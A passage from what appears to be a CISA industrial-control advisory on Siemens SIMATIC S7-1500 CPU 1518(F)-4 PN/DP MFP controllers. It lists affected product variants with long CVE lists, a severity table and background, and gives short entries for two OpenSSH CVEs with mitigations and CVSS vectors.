CVE-2026-31669, CVE-2026-31670, CVE-2026-31671, CVE-2026-31674, CVE-2026-31680, CVE-2026-31682, CVE-2026-31737, CVE-2026-31752, CVE-2026-31761, CVE-2026-31768, CVE-2026-40355, CVE-2026-41989, CVE-2026-43011, CVE-2026-43024, CVE-2026-43025, CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43033, CVE-2026-43035, CVE-2026-43038, CVE-2026-43040, CVE-2026-43057, CVE-2026-43284, CVE-2026-46174, CVE-2026-46300, CVE-2026-46333)</li>
<li>SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) vers:intdot/&gt;=3.1.6 (CVE-2021-41617, CVE-2023-28531, CVE-2023-51384, CVE-2023-52927, CVE-2024-26783, CVE-2024-27056, CVE-2024-28956, CVE-2024-36903, CVE-2024-36927, CVE-2024-42079, CVE-2024-46786, CVE-2024-47736, CVE-2024-47809, CVE-2024-49968, CVE-2024-49994, CVE-2024-49998, CVE-2024-50014, CVE-2024-50063, CVE-2024-50164, CVE-2024-50298, CVE-2024-53124, CVE-2024-53170, CVE-2024-54458, CVE-2024-56631, CVE-2024-56703, CVE-2024-56719, CVE-2024-57917, CVE-2024-57924, CVE-2024-57973, CVE-2024-57977, CVE-2024-57979, CVE-2024-58011, CVE-2024-58016, CVE-2024-58020, CVE-2024-58056, CVE-2024-58058, CVE-2024-58061, CVE-2024-58086, CVE-2025-21645, CVE-2025-21648, CVE-2025-21655, CVE-2025-21676, CVE-2025-21682, CVE-2025-21702, CVE-2025-21705, CVE-2025-21706, CVE-2025-21707, CVE-2025-21718, CVE-2025-21731, CVE-2025-21745, CVE-2025-21758, CVE-2025-21760, CVE-2025-21764, CVE-2025-21765, CVE-2025-21780, CVE-2025-21795, CVE-2025-21796, CVE-2025-21802, CVE-2025-21814, CVE-2025-21846, CVE-2025-21853, CVE-2025-21861, CVE-2025-21864, CVE-2025-21867, CVE-2025-21875, CVE-2025-21887, CVE-2025-21913, CVE-2025-21919, CVE-2025-21925, CVE-2025-21926, CVE-2025-21938, CVE-2025-21959, CVE-2025-21999, CVE-2025-22005, CVE-2025-22015, CVE-2025-22055, CVE-2025-22056, CVE-2025-22060, CVE-2025-22083, CVE-2025-22090, CVE-2025-22095, CVE-2025-22107, CVE-2025-22111, CVE-2025-22121, CVE-2025-23136, CVE-2025-23143, CVE-2025-37785, CVE-2025-37909, CVE-2025-37917, CVE-2025-37945, CVE-2025-37959, CVE-2025-37964, CVE-2025-37972, CVE-2025-37980, CVE-2025-38125, CVE-2025-38162, CVE-2025-38192, CVE-2025-38201, CVE-2025-38232, CVE-2025-38322, CVE-2025-38591, CVE-2025-38614, CVE-2025-38681, CVE-2025-38704, CVE-2025-38721, CVE-2025-38725, CVE-2025-38727, CVE-2025-38732, CVE-2025-38736, CVE-2025-39681, CVE-2025-39691, CVE-2025-39721, CVE-2025-39748, CVE-2025-39756, CVE-2025-39764, CVE-2025-39770, CVE-2025-39773, CVE-2025-39782, CVE-2025-39795, CVE-2025-39826, CVE-2025-39827, CVE-2025-39845, CVE-2025-39866, CVE-2025-39871, CVE-2025-39931, CVE-2025-39953, CVE-2025-39955, CVE-2025-39964, CVE-2025-39977, CVE-2025-39978, CVE-2025-39980, CVE-2025-40022, CVE-2025-40070, CVE-2025-40078, CVE-2025-40080, CVE-2025-40105, CVE-2025-40135, CVE-2025-40149, CVE-2025-40219, CVE-2025-40261, CVE-2025-40300, CVE-2025-61984, CVE-2025-61985, CVE-2025-68206, CVE-2025-68261, CVE-2025-68264, CVE-2025-68265, CVE-2025-68266, CVE-2025-68291, CVE-2025-68337, CVE-2025-68349, CVE-2025-68363, CVE-2025-68371, CVE-2025-68724, CVE-2025-68725, CVE-2025-68742, CVE-2025-68764, CVE-2025-68773, CVE-2025-68776, CVE-2025-68782, CVE-2025-68787, CVE-2025-68788, CVE-2025-68798, CVE-2025-68803, CVE-2025-68814, CVE-2025-68816, CVE-2025-68818, CVE-2025-68820, CVE-2025-71064, CVE-2025-71075, CVE-2025-71079, CVE-2025-71085, CVE-2025-71086, CVE-2025-71088, CVE-2025-71095, CVE-2025-71097, CVE-2025-71098, CVE-2025-71104, CVE-2025-71112, CVE-2025-71113, CVE-2025-71114, CVE-2025-71120, CVE-2025-71123, CVE-2025-71131, CVE-2025-71161, CVE-2025-71162, CVE-2025-71163, CVE-2025-71185, CVE-2025-71186, CVE-2025-71189, CVE-2025-71190, CVE-2025-71191, CVE-2025-71197, CVE-2025-71221, CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2026-3497, CVE-2026-22977, CVE-2026-22979, CVE-2026-22980, CVE-2026-22982, CVE-2026-22992, CVE-2026-22994, CVE-2026-23003, CVE-2026-23005, CVE-2026-23010, CVE-2026-23011, CVE-2026-23019, CVE-2026-23026, CVE-2026-23038, CVE-2026-23054, CVE-2026-23060, CVE-2026-23083, CVE-2026-23084, CVE-2026-23086, CVE-2026-23087, CVE-2026-23095, CVE-2026-23100, CVE-2026-23103, CVE-2026-23110, CVE-2026-23111, CVE-2026-23113, CVE-2026-23154, CVE-2026-23204, CVE-2026-23231, CVE-2026-23242, CVE-2026-23243, CVE-2026-23245, CVE-2026-23270, CVE-2026-23271, CVE-2026-23273, CVE-2026-23274, CVE-2026-23277, CVE-2026-23284, CVE-2026-23287, CVE-2026-23290, CVE-2026-23293, CVE-2026-23300, CVE-2026-23304, CVE-2026-23319, CVE-2026-23321, CVE-2026-23335, CVE-2026-23340, CVE-2026-23343, CVE-2026-23351, CVE-2026-23359, CVE-2026-23365, CVE-2026-23368, CVE-2026-23370, CVE-2026-23378, CVE-2026-23379, CVE-2026-23381, CVE-2026-23391, CVE-2026-23392, CVE-2026-23397, CVE-2026-23398, CVE-2026-23414, CVE-2026-23422, CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23446, CVE-2026-23449, CVE-2026-23450, CVE-2026-23452, CVE-2026-23454, CVE-2026-23455, CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23463, CVE-2026-23474, CVE-2026-23475, CVE-2026-27135, CVE-2026-31389, CVE-2026-31391, CVE-2026-31396, CVE-2026-31402, CVE-2026-31403, CVE-2026-31411, CVE-2026-31414, CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31418, CVE-2026-31421, CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31427, CVE-2026-31428, CVE-2026-31431, CVE-2026-31441, CVE-2026-31446, CVE-2026-31447, CVE-2026-31448, CVE-2026-31450, CVE-2026-31452, CVE-2026-31466, CVE-2026-31469, CVE-2026-31485, CVE-2026-31494, CVE-2026-31495, CVE-2026-31496, CVE-2026-31503, CVE-2026-31504, CVE-2026-31507, CVE-2026-31508, CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31533, CVE-2026-31546, CVE-2026-31555, CVE-2026-31563, CVE-2026-31565, CVE-2026-31628, CVE-2026-31634, CVE-2026-31649, CVE-2026-31651, CVE-2026-31658, CVE-2026-31664, CVE-2026-31665, CVE-2026-31669, CVE-2026-31670, CVE-2026-31671, CVE-2026-31674, CVE-2026-31680, CVE-2026-31682, CVE-2026-31737, CVE-2026-31752, CVE-2026-31761, CVE-2026-31768, CVE-2026-40355, CVE-2026-41989, CVE-2026-43011, CVE-2026-43024, CVE-2026-43025, CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43033, CVE-2026-43035, CVE-2026-43038, CVE-2026-43040, CVE-2026-43057, CVE-2026-43284, CVE-2026-46174, CVE-2026-46300, CVE-2026-46333)</li>
<li>SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) vers:intdot/&gt;=3.1.6 (CVE-2021-41617, CVE-2023-28531, CVE-2023-51384, CVE-2023-52927, CVE-2024-26783, CVE-2024-27056, CVE-2024-28956, CVE-2024-36903, CVE-2024-36927, CVE-2024-42079, CVE-2024-46786, CVE-2024-47736, CVE-2024-47809, CVE-2024-49968, CVE-2024-49994, CVE-2024-49998, CVE-2024-50014, CVE-2024-50063, CVE-2024-50164, CVE-2024-50298, CVE-2024-53124, CVE-2024-53170, CVE-2024-54458, CVE-2024-56631, CVE-2024-56703, CVE-2024-56719, CVE-2024-57917, CVE-2024-57924, CVE-2024-57973, CVE-2024-57977, CVE-2024-57979, CVE-2024-58011, CVE-2024-58016, CVE-2024-58020, CVE-2024-58056, CVE-2024-58058, CVE-2024-58061, CVE-2024-58086, CVE-2025-21645, CVE-2025-21648, CVE-2025-21655, CVE-2025-21676, CVE-2025-21682, CVE-2025-21702, CVE-2025-21705, CVE-2025-21706, CVE-2025-21707, CVE-2025-21718, CVE-2025-21731, CVE-2025-21745, CVE-2025-21758, CVE-2025-21760, CVE-2025-21764, CVE-2025-21765, CVE-2025-21780, CVE-2025-21795, CVE-2025-21796, CVE-2025-21802, CVE-2025-21814, CVE-2025-21846, CVE-2025-21853, CVE-2025-21861, CVE-2025-21864, CVE-2025-21867, CVE-2025-21875, CVE-2025-21887, CVE-2025-21913, CVE-2025-21919, CVE-2025-21925, CVE-2025-21926, CVE-2025-21938, CVE-2025-21959, CVE-2025-21999, CVE-2025-22005, CVE-2025-22015, CVE-2025-22055, CVE-2025-22056, CVE-2025-22060, CVE-2025-22083, CVE-2025-22090, CVE-2025-22095, CVE-2025-22107, CVE-2025-22111, CVE-2025-22121, CVE-2025-23136, CVE-2025-23143, CVE-2025-37785, CVE-2025-37909, CVE-2025-37917, CVE-2025-37945, CVE-2025-37959, CVE-2025-37964, CVE-2025-37972, CVE-2025-37980, CVE-2025-38125, CVE-2025-38162, CVE-2025-38192, CVE-2025-38201, CVE-2025-38232, CVE-2025-38322, CVE-2025-38591, CVE-2025-38614, CVE-2025-38681, CVE-2025-38704, CVE-2025-38721, CVE-2025-38725, CVE-2025-38727, CVE-2025-38732, CVE-2025-38736, CVE-2025-39681, CVE-2025-39691, CVE-2025-39721, CVE-2025-39748, CVE-2025-39756, CVE-2025-39764, CVE-2025-39770, CVE-2025-39773, CVE-2025-39782, CVE-2025-39795, CVE-2025-39826, CVE-2025-39827, CVE-2025-39845, CVE-2025-39866, CVE-2025-39871, CVE-2025-39931, CVE-2025-39953, CVE-2025-39955, CVE-2025-39964, CVE-2025-39977, CVE-2025-39978, CVE-2025-39980, CVE-2025-40022, CVE-2025-40070, CVE-2025-40078, CVE-2025-40080, CVE-2025-40105, CVE-2025-40135, CVE-2025-40149, CVE-2025-40219, CVE-2025-40261, CVE-2025-40300, CVE-2025-61984, CVE-2025-61985, CVE-2025-68206, CVE-2025-68261, CVE-2025-68264, CVE-2025-68265, CVE-2025-68266, CVE-2025-68291, CVE-2025-68337, CVE-2025-68349, CVE-2025-68363, CVE-2025-68371, CVE-2025-68724, CVE-2025-68725, CVE-2025-68742, CVE-2025-68764, CVE-2025-68773, CVE-2025-68776, CVE-2025-68782, CVE-2025-68787, CVE-2025-68788, CVE-2025-68798, CVE-2025-68803, CVE-2025-68814, CVE-2025-68816, CVE-2025-68818, CVE-2025-68820, CVE-2025-71064, CVE-2025-71075, CVE-2025-71079, CVE-2025-71085, CVE-2025-71086, CVE-2025-71088, CVE-2025-71095, CVE-2025-71097, CVE-2025-71098, CVE-2025-71104, CVE-2025-71112, CVE-2025-71113, CVE-2025-71114, CVE-2025-71120, CVE-2025-71123, CVE-2025-71131, CVE-2025-71161, CVE-2025-71162, CVE-2025-71163, CVE-2025-71185, CVE-2025-71186, CVE-2025-71189, CVE-2025-71190, CVE-2025-71191, CVE-2025-71197, CVE-2025-71221, CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2026-3497, CVE-2026-22977, CVE-2026-22979, CVE-2026-22980, CVE-2026-22982, CVE-2026-22992, CVE-2026-22994, CVE-2026-23003, CVE-2026-23005, CVE-2026-23010, CVE-2026-23011, CVE-2026-23019, CVE-2026-23026, CVE-2026-23038, CVE-2026-23054, CVE-2026-23060, CVE-2026-23083, CVE-2026-23084, CVE-2026-23086, CVE-2026-23087, CVE-2026-23095, CVE-2026-23100, CVE-2026-23103, CVE-2026-23110, CVE-2026-23111, CVE-2026-23113, CVE-2026-23154, CVE-2026-23204, CVE-2026-23231, CVE-2026-23242, CVE-2026-23243, CVE-2026-23245, CVE-2026-23270, CVE-2026-23271, CVE-2026-23273, CVE-2026-23274, CVE-2026-23277, CVE-2026-23284, CVE-2026-23287, CVE-2026-23290, CVE-2026-23293, CVE-2026-23300, CVE-2026-23304, CVE-2026-23319, CVE-2026-23321, CVE-2026-23335, CVE-2026-23340, CVE-2026-23343, CVE-2026-23351, CVE-2026-23359, CVE-2026-23365, CVE-2026-23368, CVE-2026-23370, CVE-2026-23378, CVE-2026-23379, CVE-2026-23381, CVE-2026-23391, CVE-2026-23392, CVE-2026-23397, CVE-2026-23398, CVE-2026-23414, CVE-2026-23422, CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23446, CVE-2026-23449, CVE-2026-23450, CVE-2026-23452, CVE-2026-23454, CVE-2026-23455, CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23463, CVE-2026-23474, CVE-2026-23475, CVE-2026-27135, CVE-2026-31389, CVE-2026-31391, CVE-2026-31396, CVE-2026-31402, CVE-2026-31403, CVE-2026-31411, CVE-2026-31414, CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31418, CVE-2026-31421, CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31427, CVE-2026-31428, CVE-2026-31431, CVE-2026-31441, CVE-2026-31446, CVE-2026-31447, CVE-2026-31448, CVE-2026-31450, CVE-2026-31452, CVE-2026-31466, CVE-2026-31469, CVE-2026-31485, CVE-2026-31494, CVE-2026-31495, CVE-2026-31496, CVE-2026-31503, CVE-2026-31504, CVE-2026-31507, CVE-2026-31508, CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31533, CVE-2026-31546, CVE-2026-31555, CVE-2026-31563, CVE-2026-31565, CVE-2026-31628, CVE-2026-31634, CVE-2026-31649, CVE-2026-31651, CVE-2026-31658, CVE-2026-31664, CVE-2026-31665, CVE-2026-31669, CVE-2026-31670, CVE-2026-31671, CVE-2026-31674, CVE-2026-31680, CVE-2026-31682, CVE-2026-31737, CVE-2026-31752, CVE-2026-31761, CVE-2026-31768, CVE-2026-40355, CVE-2026-41989, CVE-2026-43011, CVE-2026-43024, CVE-2026-43025, CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43033, CVE-2026-43035, CVE-2026-43038, CVE-2026-43040, CVE-2026-43057, CVE-2026-43284, CVE-2026-46174, CVE-2026-46300, CVE-2026-46333)</li>
<li>SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) vers:intdot/&gt;=3.1.6 (CVE-2021-41617, CVE-2023-28531, CVE-2023-51384, CVE-2023-52927, CVE-2024-26783, CVE-2024-27056, CVE-2024-28956, CVE-2024-36903, CVE-2024-36927, CVE-2024-42079, CVE-2024-46786, CVE-2024-47736, CVE-2024-47809, CVE-2024-49968, CVE-2024-49994, CVE-2024-49998, CVE-2024-50014, CVE-2024-50063, CVE-2024-50164, CVE-2024-50298, CVE-2024-53124, CVE-2024-53170, CVE-2024-54458, CVE-2024-56631, CVE-2024-56703, CVE-2024-56719, CVE-2024-57917, CVE-2024-57924, CVE-2024-57973, CVE-2024-57977, CVE-2024-57979, CVE-2024-58011, CVE-2024-58016, CVE-2024-58020, CVE-2024-58056, CVE-2024-58058, CVE-2024-58061, CVE-2024-58086, CVE-2025-21645, CVE-2025-21648, CVE-2025-21655, CVE-2025-21676, CVE-2025-21682, CVE-2025-21702, CVE-2025-21705, CVE-2025-21706, CVE-2025-21707, CVE-2025-21718, CVE-2025-21731, CVE-2025-21745, CVE-2025-21758, CVE-2025-21760, CVE-2025-21764, CVE-2025-21765, CVE-2025-21780, CVE-2025-21795, CVE-2025-21796, CVE-2025-21802, CVE-2025-21814, CVE-2025-21846, CVE-2025-21853, CVE-2025-21861, CVE-2025-21864, CVE-2025-21867, CVE-2025-21875, CVE-2025-21887, CVE-2025-21913, CVE-2025-21919, CVE-2025-21925, CVE-2025-21926, CVE-2025-21938, CVE-2025-21959, CVE-2025-21999, CVE-2025-22005, CVE-2025-22015, CVE-2025-22055, CVE-2025-22056, CVE-2025-22060, CVE-2025-22083, CVE-2025-22090, CVE-2025-22095, CVE-2025-22107, CVE-2025-22111, CVE-2025-22121, CVE-2025-23136, CVE-2025-23143, CVE-2025-37785, CVE-2025-37909, CVE-2025-37917, CVE-2025-37945, CVE-2025-37959, CVE-2025-37964, CVE-2025-37972, CVE-2025-37980, CVE-2025-38125, CVE-2025-38162, CVE-2025-38192, CVE-2025-38201, CVE-2025-38232, CVE-2025-38322, CVE-2025-38591, CVE-2025-38614, CVE-2025-38681, CVE-2025-38704, CVE-2025-38721, CVE-2025-38725, CVE-2025-38727, CVE-2025-38732, CVE-2025-38736, CVE-2025-39681, CVE-2025-39691, CVE-2025-39721, CVE-2025-39748, CVE-2025-39756, CVE-2025-39764, CVE-2025-39770, CVE-2025-39773, CVE-2025-39782, CVE-2025-39795, CVE-2025-39826, CVE-2025-39827, CVE-2025-39845, CVE-2025-39866, CVE-2025-39871, CVE-2025-39931, CVE-2025-39953, CVE-2025-39955, CVE-2025-39964, CVE-2025-39977, CVE-2025-39978, CVE-2025-39980, CVE-2025-40022, CVE-2025-40070, CVE-2025-40078, CVE-2025-40080, CVE-2025-40105, CVE-2025-40135, CVE-2025-40149, CVE-2025-40219, CVE-2025-40261, CVE-2025-40300, CVE-2025-61984, CVE-2025-61985, CVE-2025-68206, CVE-2025-68261, CVE-2025-68264, CVE-2025-68265, CVE-2025-68266, CVE-2025-68291, CVE-2025-68337, CVE-2025-68349, CVE-2025-68363, CVE-2025-68371, CVE-2025-68724, CVE-2025-68725, CVE-2025-68742, CVE-2025-68764, CVE-2025-68773, CVE-2025-68776, CVE-2025-68782, CVE-2025-68787, CVE-2025-68788, CVE-2025-68798, CVE-2025-68803, CVE-2025-68814, CVE-2025-68816, CVE-2025-68818, CVE-2025-68820, CVE-2025-71064, CVE-2025-71075, CVE-2025-71079, CVE-2025-71085, CVE-2025-71086, CVE-2025-71088, CVE-2025-71095, CVE-2025-71097, CVE-2025-71098, CVE-2025-71104, CVE-2025-71112, CVE-2025-71113, CVE-2025-71114, CVE-2025-71120, CVE-2025-71123, CVE-2025-71131, CVE-2025-71161, CVE-2025-71162, CVE-2025-71163, CVE-2025-71185, CVE-2025-71186, CVE-2025-71189, CVE-2025-71190, CVE-2025-71191, CVE-2025-71197, CVE-2025-71221, CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2026-3497, CVE-2026-22977, CVE-2026-22979, CVE-2026-22980, CVE-2026-22982, CVE-2026-22992, CVE-2026-22994, CVE-2026-23003, CVE-2026-23005, CVE-2026-23010, CVE-2026-23011, CVE-2026-23019, CVE-2026-23026, CVE-2026-23038, CVE-2026-23054, CVE-2026-23060, CVE-2026-23083, CVE-2026-23084, CVE-2026-23086, CVE-2026-23087, CVE-2026-23095, CVE-2026-23100, CVE-2026-23103, CVE-2026-23110, CVE-2026-23111, CVE-2026-23113, CVE-2026-23154, CVE-2026-23204, CVE-2026-23231, CVE-2026-23242, CVE-2026-23243, CVE-2026-23245, CVE-2026-23270, CVE-2026-23271, CVE-2026-23273, CVE-2026-23274, CVE-2026-23277, CVE-2026-23284, CVE-2026-23287, CVE-2026-23290, CVE-2026-23293, CVE-2026-23300, CVE-2026-23304, CVE-2026-23319, CVE-2026-23321, CVE-2026-23335, CVE-2026-23340, CVE-2026-23343, CVE-2026-23351, CVE-2026-23359, CVE-2026-23365, CVE-2026-23368, CVE-2026-23370, CVE-2026-23378, CVE-2026-23379, CVE-2026-23381, CVE-2026-23391, CVE-2026-23392, CVE-2026-23397, CVE-2026-23398, CVE-2026-23414, CVE-2026-23422, CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23446, CVE-2026-23449, CVE-2026-23450, CVE-2026-23452, CVE-2026-23454, CVE-2026-23455, CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23463, CVE-2026-23474, CVE-2026-23475, CVE-2026-27135, CVE-2026-31389, CVE-2026-31391, CVE-2026-31396, CVE-2026-31402, CVE-2026-31403, CVE-2026-31411, CVE-2026-31414, CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31418, CVE-2026-31421, CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31427, CVE-2026-31428, CVE-2026-31431, CVE-2026-31441, CVE-2026-31446, CVE-2026-31447, CVE-2026-31448, CVE-2026-31450, CVE-2026-31452, CVE-2026-31466, CVE-2026-31469, CVE-2026-31485, CVE-2026-31494, CVE-2026-31495, CVE-2026-31496, CVE-2026-31503, CVE-2026-31504, CVE-2026-31507, CVE-2026-31508, CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31533, CVE-2026-31546, CVE-2026-31555, CVE-2026-31563, CVE-2026-31565, CVE-2026-31628, CVE-2026-31634, CVE-2026-31649, CVE-2026-31651, CVE-2026-31658, CVE-2026-31664, CVE-2026-31665, CVE-2026-31669, CVE-2026-31670, CVE-2026-31671, CVE-2026-31674, CVE-2026-31680, CVE-2026-31682, CVE-2026-31737, CVE-2026-31752, CVE-2026-31761, CVE-2026-31768, CVE-2026-40355, CVE-2026-41989, CVE-2026-43011, CVE-2026-43024, CVE-2026-43025, CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43033, CVE-2026-43035, CVE-2026-43038, CVE-2026-43040, CVE-2026-43057, CVE-2026-43284, CVE-2026-46174, CVE-2026-46300, CVE-2026-46333)</li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 9.8</td>
<td>Siemens</td>
<td>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</td>
<td>Missing Encryption of Sensitive Data, Missing Critical Step in Authentication, Improper Input Validation, Exposure of Sensitive Information in Shared Microarchitectural Structures during Transient Execution, Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'), NULL Pointer Dereference, Improper Resource Shutdown or Release, Integer Overflow or Wraparound, Use of Uninitialized Variable, Improper Enforcement of Behavioral Workflow, Use After Free, Loop with Unreachable Exit Condition ('Infinite Loop'), Reachable Assertion, Improper Locking, Memory Allocation with Excessive Size Value, Use of Uninitialized Resource, Missing Release of Memory after Effective Lifetime, Buffer Copy without Checking Size of Input ('Classic Buffer Overflow'), Improper Resource Locking, Out-of-bounds Write, Out-of-bounds Read, Incomplete Cleanup, Divide By Zero, Uncontrolled Recursion, Race Condition within a Thread, Missing Release of Resource after Effective Lifetime, Improper Update of Reference Count, Missing Default Case in Multiple Condition Expression, Improper Following of Specification by Caller, Exposure of Sensitive Information Due to Incompatible Policies, Expired Pointer Dereference, Incorrect Type Conversion or Cast, Multiple Releases of Same Resource or Handle, Transmission of Private Resources into a New Sphere ('Resource Leak'), Improper Handling of Invalid Use of Special Elements, Improper Neutralization of Null Byte or NUL Character, Improper Handling of Missing Special Element, Time-of-check Time-of-use (TOCTOU) Race Condition, Missing Initialization of Resource, Incorrect Privilege Assignment, Trust of System Event Data, Use of Externally-Controlled Format String, Unchecked Return Value, Signal Handler Race Condition, Incorrect Conversion between Numeric Types, Active Debug Code, Buffer Underwrite ('Buffer Underflow'), Incorrect Synchronization, Improper Handling of Structural Elements, Improper Validation of Specified Index, Position, or Offset in Input, Incorrect Calculation of Buffer Size, Operation on a Resource after Expiration or Release, Access of Uninitialized Pointer, Improper Validation of Specified Type of Input, Plaintext Storage of a Password, Improper Handling of Length Parameter Inconsistency, Missing Report of Error Condition, Missing Synchronization, Deadlock, Buffer Access with Incorrect Length Value, Untrusted Pointer Dereference, Incorrect Resource Transfer Between Spheres, Release of Invalid Pointer or Reference, Misinterpretation of Input, Improper Null Termination, Incomplete Internal State Distinction, Access of Resource Using Incompatible Type ('Type Confusion'), Improperly Implemented Security Check for Standard, Write-what-where Condition, Improper Privilege Management</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Germany</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2021-41617</a></h3>
<div class="csaf-accordion-content">
<p>sshd in OpenSSH 6.2 through 8.x before 8.8, when certain non-default configurations are used, allows privilege escalation because supplemental groups are not initialized as expected. Helper programs for AuthorizedKeysCommand and AuthorizedPrincipalsCommand may run with privileges associated with group memberships of the sshd process, if the configuration specifies running the command as a different user.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2021-41617">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/311.html">CWE-311 Missing Encryption of Sensitive Data</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2023-28531</a></h3>
<div class="csaf-accordion-content">
<p>ssh-add in OpenSSH before 9.3 adds smartcard keys to ssh-agent without the intended per-hop destination constraints. The earliest affected version is 8.9.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2023-28531">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/311.html">CWE-311 Missing Encryption of Sensitive Data</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
